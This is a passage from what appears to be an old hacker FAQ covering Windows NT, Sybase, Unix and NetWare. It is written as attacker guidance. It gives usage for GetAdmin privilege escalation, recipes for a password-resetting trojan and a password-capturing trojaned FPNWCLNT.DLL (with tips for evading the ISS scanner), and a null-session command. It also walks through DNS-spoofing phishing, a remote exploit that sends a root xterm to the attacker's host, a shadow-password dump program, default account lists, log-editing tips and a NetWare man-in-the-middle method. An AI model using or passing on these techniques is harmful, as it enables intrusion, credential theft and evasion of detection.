15.1 What is GetAdmin.exe and Crash4.exe?
GetAdmin.exe is a program written by Konstantin Sobolev. It exploits a subfunction in NtAddAtom that does not check the address of the output. By altering where the output can be written to, GetAdmin adds a user to the Administrators group. It works on NT 4.0.
The easiest way to use it is to simply copy it to \TEMP (along with its DLL, GASYS.DLL) and run it like so: GETADMIN GUEST (or whatever account you wish to add).
This will add Guest to the Administrators group.
GetAdmin will add domain accounts on a primary domain controller and even other domain accounts. Since it is a command line tool, it will work across a telnet session if you've uploaded it to the target.
There is a post SP3 Hot Fix available from Microsoft that defeats this if loaded.
Crash4.exe will allow GetAdmin to work on SP3 patched machines. Simply run Crash4 and followed by GetAdmin as previously mentioned. Crash4 rearranges a few things on the stack to allow GetAdmin to work.
15.2 Should I even try for local administrator access?
Oh yes. A lot of NT administrators do not understand that when an NT box joins a domain, if they left that administrator password blank, it doesn't get "filled in" or "overwritten". Belonging to a domain does NOT turn off local users.
If you gain local administrator, try some of these tricks (these will work with the default settings after installation on the target):
NBTSTAT -A x.x.x.x (plug in the IP address of the box you're after)
Add the machine name this returns to your LMHOSTS file.
If you are not on an NT 4.x machine, type NBTSTAT -R to refresh the NetBios names.
Try NET VIEW \\machinename to see the shares
Try DIR \\machinename\share to list shares if open
Try NET VIEW \\ipaddress or NET VIEW \\fully.qualified.name.com, which should get you the user names under NT 4.0.
15.3 I have guest remote access. How can I get administrator access?
The easiest way is to run GetAdmin as mentioned above, but here is an older tricks for basic NT 3.51, which as some has some stuff read/writeable by default. You could edit the association between an application and the data file extension using regedt32. First off, you should write a Win32 app that does nothing but the following -
net user administrator biteme /y
notepad %1 %2 %3 %4 %5
In a share you have read/write access to, upload it. Now change the association between .txt files and notepad to point to the location of the uploaded file, like \\ThisWorkstation\RWShare\badboy.exe.
Now wait for the administrator to launch a text file by double clicking on it, and the password becomes "biteme".
Of course, if the Sys Admin is smart they will have removed write permission from Everyone for HKEY_CLASSES_ROOT, only giving out full access to creator\owner.
15.4 What about %systemroot%\system32 being writeable?
Well, this can be exploited on NT 4.0 by placing a trojaned FPNWCLNT.DLL in that directory. This file typically exists in a mixed NT/Netware environment. First compile the exploit code written by Jeremy Allison (email@example.com) and call the resulting file FPNWCLNT.DLL. A pointer to the exploit code is in the Resources section. Now wait for the user names and passwords to get written to a file in \temp.
If you load this on a Primary Domain Controller, you'll get EVERYBODY'S password. You have to reboot the server after placing the trojan in %systemroot%\system32.
ISS (www.iss.net) has a security scanner for NT which will detect the trojan DLL, so you may wish to consider adding in extra junk to the above code to make the size of the compiled DLL match what the original was, and using a CRC matcher program (several exist on the Internet) to make the CRC between the trojan and the real version match. This will prevent the current shipping version of ISS's NT scanner from picking up the trojan.
It should be noted that by default the group Everyone has default permissions of "Change" in %systemroot\system32, so any DLL that is not in use by the system could be replaced with a trojan DLL that does something else.
15.5 What if the permissions are restricted on the server?
By default the NT administrator account does not have a lockout feature like normal users accounts, to prevent a denial-of-service attack on the administrator account. Since failed logins are not logged by default, you could possibly gain administrator access by sheer brute force.
If the Sys Admin runs passprop.exe they can turn on the lockout feature of Administrator.
15.6 What exactly does the NetBios Auditing Tool do?
Developed by Secure Networks Inc., it comes in pre-compiled Win32 binary form as well as the complete source code. It is the "SATAN" of NetBios based systems.
Here is a quote from Secure Networks Inc about the product -
"The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS file-sharing services offered by the target system. It implements a stepwise approach to gather information and attempt to obtain file system-level access as though it were a legitimate local client.
"The major steps are as follows:
"A UDP status query is sent to the target, which usually elicits a reply containing the Netbios 'computer name'. This is needed to establish a session. The reply also can contain other information such as the workgroup and account names of the machine's users. This part of the program needs root privilege to listen for replies on UDP port 137, since the reply is usually sent back to UDP port 137 even if the original query came from some different port.
"TCP connections are made to the target's Netbios port , and session requests using the derived computer name are sent across. Various guesses at the computer name are also used, in case the status query failed or returned incomplete information. If all such attempts to establish a session fail, the host is assumed invulnerable to NETBIOS attacks even if TCP port 139 was reachable.
"Provided a connection is established Netbios 'protocol levels' are now negotiated across the new connection. This establishes various modes and capabilities the client and server can use with each other, such as password encryption and if the server uses user-level or share-level Security. The usable protocol level is deliberately limited to LANMAN version 2 in this case, since that protocol is somewhat simpler and uses a smaller password keyspace than NT.
"If the server requires further session setup to establish credentials, various defaults are attempted. Completely blank usernames and passwords are often allowed to set up 'guest' connections to a server; if this fails then guesses are tried using fairly standard account names such as ADMINISTRATOR, and some of the names returned from the status query. Extensive username/password checking is NOT done at this point, since the aim is just to get the session established, but it should be noted that if this phase is reached at all MANY more guesses can be attempted and likely without the owner of the target being immediately aware of it.
"Once the session is fully set up, transactions are performed to collect more information about the server including any file system 'shares' it offers.
"Attempts are then made to connect to all listed file system shares and some potentially unlisted ones. If the server requires passwords for the shares, defaults are attempted as described above for session setup. Any successful connections are then explored for writeability and some well-known file-naming problems [the ".." class of bugs].
"If a NETBIOS session can be established at all via TCP port 139, the target is declared 'vulnerable' with the remaining question being to what extent. Information is collected under the appropriate vulnerability at most of these steps, since any point along the way be blocked by the Security configurations of the target. Most Microsoft-OS based servers and Unix SAMBA will yield computer names and share lists, but not allow actual file-sharing connections without a valid username and/or password. A remote connection to a share is therefore a possibly serious Security problem, and a connection that allows WRITING to the share almost certainly so. Printer and other 'device' services offered by the server are currently ignored."
If you need more info on NAT, too bad, 'cause it looks like no one's mirrored it. Even so, many similar tools can be found on Packetstorm <http://packetstormsecurity.org> and elsewhere <http://www.google.com/>.
15.7 What is the "Red Button" bug?
MWC has released an exploit that allows the following to occur -- the registry of a remote machine can be accessed, a list of users AND of shares can be obtained, even if the intruder hasn't logged in.
There is a built in user called "anonymous" that is usually used for communication between machines. This exploit takes advantage of the fact that anonymous is a member of the group Everyone. Because of this, the following can be done:
Any share that can be accessed by Everyone is vulnerable.
System and application logs can be read.
Any NT machine with NetBios bound to the network can have its registry read or written to if Everyone has that access.
Using Lan Manager calls can give a list of all users, the Administrator (if renamed), and a list of all shares.
Using this access a trojan could be loaded, since often the group Everyone has access to application software.
It is possible that a Sys Admin could have unbound NetBios from the interface. This would disallow some access. Typically at a security aware site you would find the machines outside the firewall, like the Web server or FTP server configured this way (and all other access blocked by the firewall. However if you compromise the machine this could be a handy partial backdoor -- especially if you are using one machine as a "drop" during an attack.
The bug can manually be done -- no exploit code needed. Try this from a 4.00 workstation:
net use \\targetserver\ipc$ "" /user:""
Now run User Manager, Event Viewer, Registry Editor, or simply use the net command to target the remote machine.
The administrator account's SID always ends in -500 (Guest is -501) so find that and you have the administrator account, even if renamed. The built-in local groups (documented and undocumented) always have the same SID, so check out your own machine first and compare -- especially if some of these have been renamed.
If all the users are moved from the Everyone group, you not be able to exploit this. For you admins out there, ISS has released a tool to automate this "move users out of Everyone" process. And admins you should check and see what shares that Everyone can get to.
The exploit code can found at <http://packetstormsecurity.org/nt/audit/redbutton.nt.weakness.shower.zip>.
ISS's tool can be found at <http://ftp.cerias.purdue.edu/pub/tools/windows/everyone2user.exe>.
15.8 What about forging DNS packets for subversive purposes?
By forging UDP packets, NT name server caches can be compromised. If recursion is allowed on the name server, you can do some nasty things. Recursion is when a server receives a name server lookup request for a zone or domain for which is does not serve. This is typical how most setups for DNS are done.
So how do we do it? We will use the following example:
We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org with an address of 10.10.10.2, and bait.nmrc.org with an address of 10.10.10.3. Our mission? Make the users at lame.com access pirate.nmrc.org when they try to access www.lamer.net.
Okay, assume automation is at work here to make the attack smoother...
DNS query is sent to ns.lame.com asking for address of bait.nmrc.org.
ns.lame.com asks ns.nmrc.org what the address is.
The request is sniffed, and the query ID number is obtained from the request packet.
DNS query is sent to ns.lame.com asking for the address of www.lamer.net.
Since we know the previous query ID number, chances are the next query ID number will be close to that number.
We send spoofed DNS replies with several different query ID numbers. These replies are spoofed to appear to come from ns.lamer.net, and state that its address is 10.10.10.2.
pirate.nmrc.org is set up to look like www.lamer.net, except maybe it has a notice to "go to the new password page and set up an account and ID". Odds are this new password is used by that lame.com user somewhere else...
With a little creativity, you can also do other exciting things like reroute (and make copies of) email, denial of service (tell lame.com that www.lamer.net doesn't exist anymore), and other fun things.
Supposedly SP 3 fixes this.
15.9 What about shares?
The main thing to realize about shares is that there are a few that are invisible. Administrative shares are default accounts that cannot be removed. They have a $ at the end of their name. For example C$ is the administrative share for the C: partition, D$ is the administrative share for the D: partition. WINNT$ is the root directory of the system files.
By default since logging is not enabled on failed attempts and the administrator doesn't get locked out from false attempts, you can try and try different passwords for the administrator account. You could also try a dictionary attack. Once in, you can get at basically anything.
15.10 How do I get around a packet filter-based firewall?
If the target NT box is behind a firewall that is doing packet filtering (which is not considered firewalling by many folks) and it does not have SP3 loaded it is possible to send it packets anyway. This involves sending decoy IP packet fragments with specially crafted headers that will be "reused" by the malicious IP packet fragments. This is due to a problem with the way NT's TCP/IP stack handles reassembling fragmented packets. As odd as this sounds, example code exists to prove it works. See the web page at insecure.org's sploit database <http://www.insecure.org/sploits/nt.no_first_fragment.ip_frag.attack.html> for details.
How does it bypass the packet filter? Typically packet filtering only drops the fragmented packet with the offset of zero in the header. The example source forges the headers to get around this, and NT happily reassembles what does arrive.
15.11 I hack from my Linux box. How can I do all that GUI stuff on remote NT servers?
Try and get familiar with the net use and net user commands before attacking.
The main problem is adjusting NT file security attributes. Some utilities are available with NT that can be used, but I'd recommend using the NT Command Line Security Utilities. They include:
saves file, directory and ownership permissions to a file
restores file permissions and ownership from a saveacl file
lists file permissions in human readable format
swaps permissions from one user or group to another
grants permisssions to users/groups on directories
revokes permissions to users/groups on directories
sets the ownership of files and directories
add and remove audit triggers to files and directories
print registry subkey security to the screen
grant access to users and groups on registry subkeys
revoke access from users and groups on subkeys
change registry subkey ownership
swaps permissions from one user group to another
add and delete audit triggers on keys
list permissions on a local or remote share
grant permissions to a local or remote share
revoke permissions from a local or remote share
manipulate account and group properties
'net use' replacement. shows connected drives.
Listacl and reglistacl also display the current auditing state of files, directories, and regisrty keys.
Each of the programs contains a built-in help screen. Just run any of the programs with a "-h" argument and the help screen will be displayed. Most utlilities support a "-r" option for recursive options throughout the program.
The collection is $45 (USD), it is shareware, but well worth the price. Even if the set only included the ntuser.exe utility, it would still be worth the money.
Check out Pedestal Software <http://www.pedestalsoftware.com/products/ntsec/index.asp> to download the collection.
15.12 What's the story with WinGate?
While not exactly a Windows NT-only issue, it seriously affects Windows 95 users as many have installed this product. WinGate is a product that allows IP masquerading through a single Windows 95/98/NT box onto the Internet. WinGate comes in three flavors -- WinGate Home, Wingate Standard, and WinGate Pro. It is so popular for home users because with a few points and clicks the entire home network can be talking to the Internet through a single PC that has a modem attached. The home version is also around $40 for 3 users, making it very cheap.
Older versions are still around, including WinGate Lite, which are free. Older versions are also subject to denial of service. Telnetting repeatedly to localhost from a WinGate will crash it as it eventually runs out of resources. Connecting to port 2080 and dumping in about 2K of junk will crash WinGate.
Pointing your web browser to a WinGate machine via port 8010 will either give you the error message of "connection cannot be established" or you will be returned a list of files on the target system. Ouch. Here's an example: http://www.server.com:8010/c:/
Attackers and spammers will use improperly configured WinGates (read default settings) to bounce through and hide their real source location.
For those of you actually using WinGate, I recommend using a cheap old 386 with 8MB RAM, an 80MB hard drive, and a free Unix flavor loaded up instead. Use *that* as your gateway to the Internet, not WinGate. You can probably find someone to *give* you the hardware, you can configure it a lot safer than WinGate, and it's a little more cool. However if you must use WinGate be sure to go into the Gatekeeper program, and adjust the policies so that "Everyone" can only access from localhost and internal machines.
15.13 How do I find these buggy WinGates I can use?
Go to Altavista and do a search for "wingate scanner". This should point you in the right direction. As this is a popular bounce point of an attack for IRC script kids, especially those trying to hide their true identity and location, I recommend serious virus scanning of anything you download in compiled form.
The following is an explanation on how to get into a Sybase database on systems that we already have fully authorized Administrator access on them.
Like Microsoft's SQL server, Sybase permits three modes of authentication:
* Standard security mode is where Sybase maintains its own user database -- with login names, passwords, and access rights -- and is probably the default. In this mode, the NT user accessing the server is never considered, so being an NT Administrator does not give you any special access.
* Integrated security mode means that authenticated NT logons map to Sybase logons, so once you've passed the NT domain logon process, that credential gets you into the Sybase door as well. The mapping is not automatic: the DB administrator has to set up the NT -> Sybase user mappings explicitly and then grant rights to those mapped users. Its main benefit seems to be elimination of a separate database login step.
* Mixed security is a hybrid of the previous two.
In "Integrated" security mode, there is further a method of translating otherwise unknown authentication attempts into a specific database user. Not all NT users necessarily map to a valid Sybase user, so the "DefaultLogon" is used to map unrecognized NT users into a single Sybase user. This could be used to provide a kind of generic "guest" access, and we believe that this is disabled by default.
We went into the registry under
Where "server_name" is the name of the database server in question. A machine can run more than one database, and each is administered separately (they even have different NT services to manage).
If we set in the key the LoginMode to "1" and the DefaultLogin to "sa" and restart the associated NT service. We can run the Sybase SQL Central and connect while running as an otherwise unknown NT user, while we will be mapped to a "sa" account. This means that we are now an administrator of the database.
30.1 What are remote hacks?
A remote hack is when you attack a server you are not logged into. Usually this is done from another server, although in some cases you can do it from a regular PC (depending on the operating system).
Guessing a user account and password (unless it is a guest account) on a remote system is barely considered a remote hack, so we're not really cover that. We'll assume you don't know an account name and password on the remote system.
Remote hacks come in a couple of different flavors. Usually exploiting an existing service running on the victim server (which is misconfigured or allows too much access) is the goal. Exporting a NFS mount read/write to anyone might not be a bad thing, but if you can NFS mount directories containing .rhosts files, then it can be a very bad thing. Also, certain daemons running might be subject to buffer overflows remotely, allowing someone from a remote location run arbitrary commands on the victim server.
Here are a couple of examples:
You are root on a host named badguy.
You discover the host victim is exporting /home2/old read/writable to the world.
You also discover by fingering various accounts that user fred's home directory is /home2/old/fred and he hasn't logged in for months.
Quickly, you create a fred account on badguy.
Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
After you become fred on badguy, you rlogin to the victim as fred.
Here's another attack involving a buffer overflow:
This remote system is running named.
You have written a named exploit that allows you to send arbitrary commands through the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
You type: sploit ns.example.com "/usr/X11R6/bin/xterm -display badguy.whatever:0"
A window appears on your terminal that is running as root on ns.example.com.
32.1 What are some security-related WWW locations?
CERT Coordination Center <http://www.cert.org/>
The Shmoo Group <http://www.shmoo.com/>
@stake L0phtCrack <http://www.atstake.com/research/lc/>
Windows NTBugtraq Mailing List <http://www.ntbugtraq.com/default.asp?pid=36&sid=1>
Intrusion Inc. <http://www.intrusion.com/>
Offline NT Password & Registry Editor <http://home.eunet.no/~pnordahl/ntpasswd/>
NT Fragmentation Attack <http://www.insecure.org/sploits/nt.no_first_fragment.ip_frag.attack.html>
Greg Miller's Home Page <http://www.gregmiller.net/>
comp.os.netware.security FAQ <http://www.faqs.org/faqs/netware/security/>
32.2 What are some security-related Usenet groups?
Tons o' newsgroups....
Security in general:
NT in general:
Netware in general:
32.3 What are some security-related mailing lists?
Most of the security mailing lists (including Bugtraq) are operated by SecurityFocus <http://www.securityfocus.com/>. You can sign up for 'em here <http://www.securityfocus.com/archive>.
For suggestions outside of SecurityFocus' offerings, browse through the multi-list archives at insecure.org <http://lists.insecure.org/>, Neohapsis <http://archives.neohapsis.com/>, and The Aims Group <http://marc.theaimsgroup.com/>.
32.4 What are some other FAQs?
comp.os.linux.security FAQ <http://www.linuxsecurity.com/docs/colsfaq.html>
comp.security.misc & comp.security.unix FAQ <ftp://rtfm.mit.edu/pub/faqs/computer-security/most-common-qs>
Java Applet Security FAQ <http://java.sun.com/sfaq/>
NT Security FAQ <http://www.it.kth.se/~rom/ntsec.html>
RSA Laboratories Cryptography FAQ <http://www.rsasecurity.com/rsalabs/faq/>
Secure Sockets Layer Discussion List FAQ <http://www.faqs.org/faqs/computer-security/ssl-talk-faq/>
Solaris Security FAQ <http://www.itworld.com/comp/2377/security-faq/>
The WWW Security FAQ <http://www.w3.org/security/faq/www-security-faq.html>
Wireless LAN Security FAQ <http://www.iss.net/wireless/wlan_faq.php>
There is also the faqs.org Computer Security Index <http://www.faqs.org/faqs/computer-security/>, allegedly a list of every FAQ for every Usenet security group, but the majority may be outdated.
31.1 Where are the common log files in Unix?
Log files for Unix vary from flavor to flavor, but there are a few guidelines as to where these logs are kept.
System log files and accounting files are in /var/adm, /var/log, or sometimes /usr/adm. Common log files include 'messages', 'syslog', and on some systems 'sulog'. Checking '/etc/defaults' and '/etc/syslog.conf' may reveal more. Also 'wtmp', 'utmp', and 'lastlog' will contain information regarding logins.
The most important one will probably be syslog. Most utilities, including security add-on programs can write to syslog, so it makes a handy location for dumping info. But bear in mind that there are a lot of processes that might log to separate log files. Here are some potential files to look for:
Cron log file
Logs inbound and outbound mail activity
Log file for printing
There are more, but this should give you an idea.
31.2 How do I edit/change the log files for Unix?
Most of these files are text files and can be easily edited, assuming you have the permission to do so. But some of these files require you to write special tools to edit them, mainly utmp, wtmp, and possibly lastlog.
|» 28.0 Unix Passwords|
28.1 How do I access the password file in Unix?|
The password file for Unix is located in /etc and is a text file called passwd. By default and by design, this file is world readable by anyone on the system. On a Unix system using NIS/yp or password shadowing the password data may be located elsewhere. This "shadow" file is usually where the password hashes themselves are located.
28.2 What's the full story with Unix passwords?
Okay, first off, let's cover the structure of the password file.
An entry in the password file consists of seven colon-delimited fields:
This is what the fields actually are:
Account or user name, what you type in at the login prompt
One way encrypted password (plus any aging info)
Program to run on login, usually a shell
The password field contains, yes, a one-way encrypted password. This means that it is practically impossible to decrypt the encrypted password. The password field consists of 13 characters - the first two characters are the "salt" and the remainder is the actual hash.
When you log in with your account name and password, the password is encrypted and the resulting hash is compared to the hash stored in the password file. If they are equal, the system accepts that you've typed in the correct password and grants you access.
To prevent crackers from simply encrypting an entire dictionary and looking up the hash, the salt was added to the algorithm to create a possible 4096 different conceivable hashes for a particular password. This lengthens the cracking time because it becomes a little harder to store an encrypted dictionary online as the encrypted dictionary now would have to take up 4096 times the disk space. This does not make password cracking harder, just more time consuming.
Unix passwords allow mixed case, numbers, and symbols. Typically the maximum password length on a standard Unix system is 8 characters, although some systems (or system enhancements) allow up to 16 characters.
28.3 How does brute-force password cracking work with Unix?
Brute-force password cracking is simply trying a password of A with the given salt, folowing by B, C, and on and on until every possible character combination is tried. It is very time consuming, but given enough time brute force cracking WILL get the password.
There are a few brute-force crackers out there for Unix passwords. Any brute-force cracker will do
28.4 How does dictionary password cracking work with Unix?
Dictionary password cracking is the most popular method for cracking Unix passwords. The cracking program will take a word list, and one at a time try to crack one or all of the passwords listed in the password file. Some password crackers will filter and/or mutate the words as they try them, such as substitute numbers for certain letters, add prefixes or suffixes, or switch case or order of letters.
The most popular cracking utility is probably Alex Muffet's program, Crack. Crack can be configured by an administrator to periodically run and automagically mail a nastygram to a user with a weak password, or run in manual mode. Crack can also be configured to run across multiple systems and to use user-defined rules for word manipulate/mutation to maximize dictionary effectiveness - very flexible. However it is probably too much program for the novice script kiddie.
Another popular favorite is John the Ripper, based off of the popular DOS-based Jack the Ripper. Jack had a number of easy-to-use features, and Solar Designer took Jack's interface and developed John. To make things even better, Solar added Crack-like rules, and made sure the code would run on DOS or Unix. Either one is recommended. If you're going to be cracking on a DOS-based machine, use John the Ripper, otherwise either one is fine for Unix (the jury is still out on which one is best for Unix, it really depends on which one you are used to using).
28.5 How does an admin enforce better passwords and password management?
There are several techniques that an admin might employ to force users to use better passwords, and several different packages that could be loaded and configured onto most Unix systems to better secure the passwords.
One of the first techniques is to enforce password aging. While this varies from system to system, basically password aging states that you can "expire" a password. That way you can force a user to have to change his password periodically.
The security advantage is that if the user changes their password every 30 days, that stolen password file is obsolete after a month (in theory, see the next question). This alone is not real security unless it is used in conjunction with other password techniques.
Some systems allow a minimal password length to be specified, certain dictionary words to be disallowed, or even disallow perceived "crackable" passwords. This in combination with password aging can help ensure that a user's password is probably going to be aged and therefore changed before it can be cracked.
Another very popular technique is called password "shadowing". This alters the password file entry slightly:
Note the "!" token in place of the one way encrypted password. This means that the password is located in a different file, typically called the shadow file. You will also find a "*" token on some shadow password implementations. On many Unix systems, the password file is still located in /etc but called shadow, some systems even place the shadow in a different directory. Here is a chart that lists a few systems, the location of the shadow, and the token.
System Shadow Token
AIX /etc/security/passwd !
BSD /etc/master.passwd *
DG/UX /etc/tcb/aa/user/ *
HP-UX /.secure/etc/passwd *
IRIX /etc/shadow x
Linux /etc/shadow *
SCO /tcb/auth/files/[first letter of username]/[username] *
SunOS 4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.x /etc/shadow [optional NIS+ private secure maps/tables] ##username
System V < 4.2 /etc/shadow x
System V >= 4.2 /etc/security/* database x
Depending on the system and implementation, an encrypted password may still be allowed in the password field, and lack of anything in the field implies lack of a password for that account. Some systems (AIX comes to mind) allow you to configure exactly what is allowed and not allowed as far as how the password field is used.
It should be noted most modern systems come with password shadowing already set up and configured.
28.6 So how do I get to those shadowed passwords?
The easiest way to get the hashes is to gain root and then compile and run the following program:
* shadow.c - gcc -o shadow shadow.c
* run as root - shadow > passwd.file
struct passwd *p;
p-> pw_name, /* account name */
p-> pw_passwd, /* hash */
p-> pw_uid, /* user id */
p-> pw_gid, /* group id */
p-> pw_gecos, /* gecos field */
p-> pw_dir, /* home dir */
p-> pw_shell); /* shell (typically) */
This will output the reconstructed password file, which you can save for easy cracking in most common password crackers. This will not work on a system using SRP (see below).
28.7 So what can I learn with a password file from a heavily secured system?
Okay, so you've gained access to a system and can see the password file, but it is shadowed and haven't busted root (yet), or you are simply viewing the password file, say through a CGI exploit. Here is an example:
news:!:9:13:INN (NNTP Server) Admin ID, 525-2525:/usr/local/lib/inn:/bin/ksh
uucp:!:10:14:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
nomad:!:501:100:Simple Nomad, 525-5252:/home/nomad:/bin/bash
webadmin:!:502:100:Web Admin Group ID:/home/webadmin:/bin/bash
thegnome:!:503:100:Simple Nomad's Old Account:/home/thegnome:/bin/tcsh
dorkus:!:504:100:Alternate account for Fred:/home/dorkus:/bin/tcsh
Some of the more interesting things about this password file are:
User "operator" has a user ID of zero, so this user is equivalant to root.
Eight accounts have interactive shells, so you have eight targets for direct shell access.
Multiple services, such as news, web, and possibly anonymous FTP are configured on the box.
User "nomad" apparently has an older account called "thegnome" which may not be currently in use, making it a prime target for attack.
User "webadmin" looks to be an account that is shared among multiple people.
The telephone prefix is 525 (fire up the wardialer and look for a modem).
Suspicious "dorkus" account. There may be an account for Fred on another box (check for .rhosts, etc).
28.8 What's the story with SRP?
SRP, or Secure Remote Password, uses a zero knowledge authentication scheme. That is, only the user knows their password, there is never enough cryptographic material going back and forth on the network to reveal the password or its hash. The same goes for the password file -- there is simply not enough material in the file to construct a hash. This means that even if you crack a system with a remote root exploit and are sitting at a root shell, you cannot grab password hashes to crack.
SRP has other useful features as well. It allows for complete replacement of FTP and telnet with SRP-enabled versions (clients and daemons), long passwords (up to 127 characters), and full encrypted sessions for both FTP and telnet.
For more information on zero knowledge protocols, check out the Advanced Protocols chapter in Bruce Schneier's Applied Cryptography <http://www.amazon.com/exec/obidos/asin/0471117099/nomadmobileresea>. To learn more about SRP, check out The Stanford SRP Authentication Project <http://srp.stanford.edu/>.
|» 27.0 Unix Accounts|
27.1 What are common accounts and passwords for Unix?|
All Unix systems have an account called root. This account is also commonly known as the superuser. Actually, any account with a user ID (UID) and group ID (GID) of zero could be considered a superuser account. It is possible that a system administrator will rename the root account for obfuscation, but this is rather impractical as many applications not only require that there be an account with UID zero but also require the name of the account be "root" to perform certain functions. As administrators do not wish to create more problems for themself, or have to patch more code than neccessary, this is a rare occurence.
Oh, and unless you've been living under a rock, you should already know that root is the holy name of God in Unix.
Here are a few other accounts and passwords (if known) commonly found on Unix systems:
System Account Password Purpose
Some guest (none) Guest Access
Some demo (none) Demo access
Some games (none) Play games
Some nuucp (none) UUCP access
Some daemon (none) Typically invalid for direct access
Some bin (none) Typically invalid for direct access
Some man (none) Typically invalid for direct access
Some lpd (none) Typically invalid for direct access
Some sys (none) Typically invalid for direct access
Some nobody (none) Typically invalid for direct access
Some ftp (none) Anonymous FTP acccess, requests email address in lieu of password
AIX guest guest Guest access
NeXT root NeXT god (default password on shipped systems)
NeXT signa signa Guest account
NeXT me (none) Not seen on all systems
SGI/IRIX 4DGifts (none) Unknown
SGI/IRIX lp (none) Unknown
SGI/IRIX tour (none) Unknown
SGI/IRIX tutor (none) Unknown
SGI/IRIX demos (none) Unknown
27.2 How can I figure out valid account names for Unix?
Remotely, you have a few things you can try. Here are a few suggestions:
By typing in 'finger @targethost', you may get users that are currently logged in. This will give you a few accounts. Also by typing 'finger account@targethost' you may be able to determine if that account is valid, and possibly the last time it has been accessed. Unfortunately, most Unix systems refuse finger requests from remote hosts, so this usually doesn't do you a lot of good. But if finger is allowed, it can return a lot of information. Try running finger with a '-l' for more verbose listings. If you gain local access, use 'finger account' to get info on other accounts on the system. For example, if 'finger root' returns info about an administrator named Fred, then 'finger fred', which may reveil Fred's regular account.
You can run 'rusers example.com' which may return remote user info if the service is allowed.
Doing a 'whois example.com' will return info about who is responsible for the domain, and usually includes valid account names. You can use this to possibly determine other account names, and odds are very good that the administrative contact and/or the technical contact have the system privileges you desire.
Often by telnetting to the mail server and trying to verify or expand names you can learn account names. By typing 'telnet example.com 25' and typing in 'EXPN account' or 'VRFY account' will tell you if that account is valid. You may have to type in 'HELO' or some other commands before you can do an EXPN or VRFY.
A lot of administrators are aware of the above techniques, and will often treat these probes as attacks themselves. Many sites refuse finger and ruser accesses, and a lot of sites have configured their mailer to either not respond to VRFY and EXPN or simply return nothing of value. Odds are good that sites that refuse these types of probes are usually logging these types of probes, so you may wish to probe from one location and attack from another.
If you can gain access locally, such as through a guest account, there are a number of things you can do to view possible account names. Try using some of the finger techniques from above minus the targethost, try typing 'w' or 'who' or even 'more /etc/passwd' to get account names.
|» 26.0 Netware Mathematical/Theoretical Info|
26.1 How does the whole password/login/encryption thing work?|
In 3.x and 4.x, passwords are encrypted. Here is the rough way in which 3.x handles this -
Alice sends a login request to the server.
The server looks up Alice's name and retreives her UID. The server also generates a random value R, and sends the (UID,R) pair to Alice.
Alice generates X=hash(UID,password) then Y=hash(R,X). Alice then sends Y to the server.
The server retreives the stored value X'=hash(UID,password), and computes Y'=hash(X',R). If Y=Y' Alice is granted access.
Both Alice and the server compute Z=hash(X,R,c) (c is some constant value). Z is then used as the signature key for the current session.
Note: The last step is only done if both Alice and the server agree to sign packets.
The NetWare 4.x login sequence (4.x uses a private/public key scheme using RSA):
Alice requests a login from the server.
The server generates a random value R, and retrieves X'=hash(UID, password), and also computes Y'=hash(X',R). R is sent to Alice.
Alice computes X=hash(UID,password) and Y=hash(X,R). Alice generates a random value R2, retrieves the servers public key and sends the pair (Y,R2) to the server encrypted with the server's public key.
The server decrypted the (Y,R2) pair. If Y=Y', the password Alice gave is correct. The server retrieves Alice's private key, computes Z=(Alice's private key XOR R2) and transmits Z to Alice.
Alice computes private_key=R2 XOR Z. This key is used to sign packets.
It should be noted that Netware 4.x encrypts Alice's RSA private key with X' when it's stored on the server.
26.2 Are "man in the middle" attacks possible?
In theory, by looking at the methods outlined in the previous question, there are several possibilities. First, Netware 3.x -
This is a variation of the Man-In-The-Middle attack used to attack public key cryptosystems. A real MITM attack will also work, but the link must be shut down in order to implement a MITM attack, and someone is likely to know something is up.
This attack requires that Bob (the attacker) be capable of sending packets to both the server and Alice (the user attempting to login) faster than the server and Alice can send packets to each other. There are a number of ways to set up this scenario. The best way is to implement a MITM attack by either by attacking a router, or by segmenting the wire between the server and Alice.
Another way is to gain two entry points into the network (one close to Alice, the other close to the server). The best way to do this is to wire two hosts together in the specified locations. If using wire is infeasable (which in most cases it will be), Bob can use wireless network cards, or modems plugged into existing phone jacks, or modems with cellular capability. If modems are used, the attack will require Bob to take control of two computers on the network, and will increase the time needed to get packets to Alice or the server.
This attack will not work if the server requires Alice to sign packets. Alice's workstation may be set up to sign packets, and Alice can still use signed packets, and the attack will still work. However, if all hosts are required to sign packets, the attack won't work. This is because Bob will never know Alice's password, nor will he ever know X=hash(UID,password). Since NetWare 3.x defaults to allowing the host to decide wether or not to sign packets, this attack is still feasable. Sysadmins can defeat this attack by requiring packet signatures for all hosts.
When Bob sees Alice request a login, Bob also requests a login as Alice from. The server will generate two random values (R[a] and R[b], denoting the R sent to Alice and the R sent to Bob respectivley). When Bob receives R[b], he spoofs the servers address and sends R[b] to Alice. Alice will think the server requested Alice to compute Y[b]=hash(X,R[b]) rather than what the server really intended: Y[a]=hash(X,R[a]). Alice will then send Y[b] to the server, Bob will sniff Y[b] from the network as Alice sends it, and transmit it to the server (using his real address). At this point the server will think Alice has attempted to login twice. Bob's attempt will work, and Alice's attempt will fail. If all went well, Bob has assumed the identity of Alice without knowing her password, and Alice is re-typing in her password.
If the server won't allow the same user to login twice simultaneously, or ever aborts both login sequences after retreiving two responses to the same question, then Bob should saturate a network (but not shut it down completely) between Alice and the server while Bob is attempting to login as Alice.
For the ultra paranoid: Bob should be careful, there may be another attacker, Joe, just waiting for Alice to login with packet signing turned off. Here Joe can also assume the identity of Alice with significantly less effort.
Now let's discuss Netware 4.x:
The attack follows the Netware 3.x attack until Alice attempts to retrieve the server's public key. At this point Bob sends his own public key to Alice. Alice will then send the server the pair (Y,R2) encrypted with Bob's public key. Bob sniffs this information off the network, decrypts the pair (Y,R2). Then generates his own R2 (or keeps the one Alice chose), retreives the real public key of the server and sends the server the pair (Y,R2) encrypted with the server's real public key.
If server the is requiring packet signature, the server will then send Bob Z to allow him access as Alice. Bob doesn't know Alice's private key, as he never receives it. Remember that Netware 4.x encrypts Alice's RSA private key with X' when it's stored on the server, and is never send unencrypted on the wire. So Bob can't sign packets as Alice.
